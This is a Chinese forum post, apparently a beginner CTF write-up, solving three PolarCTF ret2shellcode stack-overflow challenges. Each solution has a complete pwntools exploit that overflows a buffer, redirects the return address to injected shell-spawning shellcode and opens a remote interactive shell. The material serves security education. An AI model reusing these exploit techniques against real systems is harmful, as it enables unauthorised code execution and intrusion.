-
-
[分享]Pwn入门练习WP2
-
发表于: 14小时前 80
-
PS:采用的PolarCTF的题,这次是ret2shellcode类型的栈溢出
第一题:Easy_ShellCode
下载题目文件后查看信息
file Easy_ShellCode checksec --file=Easy_ShellCode

文件是32位的,而且NX保护没有打开,这是ret2shellcode的关键,只有在NX关闭的状态下我们才能外部构造shellcode在栈中控制程序,下面用32位IDA打开文件

main函数中非常简单调用了两个函数start()和init(),init()没啥大用,主要是初始化一些数据用,重点看start()函数内部

这里定义了一个局部变量buf,在栈中的空间是68h,这里会产生栈溢出的是read()函数,其中对输入字节的最大长度限制是0x100u远大于68h,这是ret2shellcode的题,那么程序中没有现成的可以调用shell的命令,正确的思路应该是构造shellcode,把shellcode输入到str所在的地址,然后通过溢出把str的地址压进调用函数的返回值处,而str的地址通过IDA可以查看到这里不多赘述,下面构造exploit
from pwn import *
io = remote('IP',port)
padding = 0x04 + 0x68
str_addr = 0x0804A080
shellcode = asm(shellcraft.sh()) #shellcraft.sh()函数会生成shellcode,asm()函数相当于汇编器把它变成可执行文件
io.sendline(shellcode) #这里把shellcode发送过去让read()函数接收到str中
payload = b'A' * padding + p32(str_addr)
io.sendline(payload)
io.interactive()保存后执行即可
第二题:shellcode1
这里第一步查看文件信息就省略了,和第一步相同,应该是32位的,并且没有开启任何防护,下面直接用IDA打开分析

main函数中依然是调用了两个函数,这里直接看input()函数

这里会构成栈溢出的函数应该是gets(),它没有对输入数据做任何限制,注意到这里有read()函数会获取一次数据,我们可以把shellcode放入x变量中,然后通过栈溢出把x的地址压入调用函数的返回值处,这样就可以使得shellcode被执行,同样x的地址可以在IDA中查看到不多赘述,下面构造exploit
from pwn import *
io = remote('IP',port)
padding = 0x04 + 0x6C
x_addr = 0x0804A080
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
payload = b'A' * padding + p32(x_addr)
io.sendline(payload)
io.interactive()这题exploit的构造思路其实和上一题几乎一样,都是抓住read()函数获取数据这一点来进行利用
第三题:getshell
这个题依旧任何保护都没有,但是是64位的程序,下面用64位IDA打开看看

这题的main函数比较复杂了,可以先看一下边栏的getshell函数

确实有system()函数,但是内容被ls限定死了,看来用这个行不通,下面再看一下_system函数

这个函数可以输入command参数并执行系统命令,但是要想使用的前提是程序中有现成的参数可以控制shell,比如/bin/sh,通过下面这张图我们可以看到没有

让我们再回到主函数中

注意到这里虽然没有read()函数可以接收shellcode了,但是有个特殊的printf语句,它可以打印v4的地址,那么我们思路清晰了,我们可以将构造的shellcode放入被调用函数的局部变量的栈中,然后再用'A'字符填充使得被调用函数的局部变量和栈底被填满,最后把v4的地址压入调用函数的返回地址处,这样当rsp指向调用函数的返回值地址处时,就会去v4地址所存在的局部变量处,然而那里已经放入了shellcode,从而shellcode就会被执行,下面构造exploit
from pwn import *
io = remote('IP',port)
padding = 0x08 + 0x70
v4_addr = int(io.recvline()[:-1],16) #这里获取printf的输出,然后去掉最后的换行符,把字符以十六进制存放并转换成整形,不加int的化是字符型
context(arch = 'amd64')
shellcode = asm(shellcraft.amd64.sh()) #这里是生成64位程序的shellcode
payload = shellcode.ljust(padding,b'A') + p64(v4_addr) #这里是数据左端是shellcode,然后是字符A,两者总量和偏移量是一样大的,最后是v4地址
io.sendline(payload)
io.interactive()保存后运行就可以拿到flag
赞赏
- [分享]Pwn入门练习WP2 74
- [分享]Pwn入门练习WP 103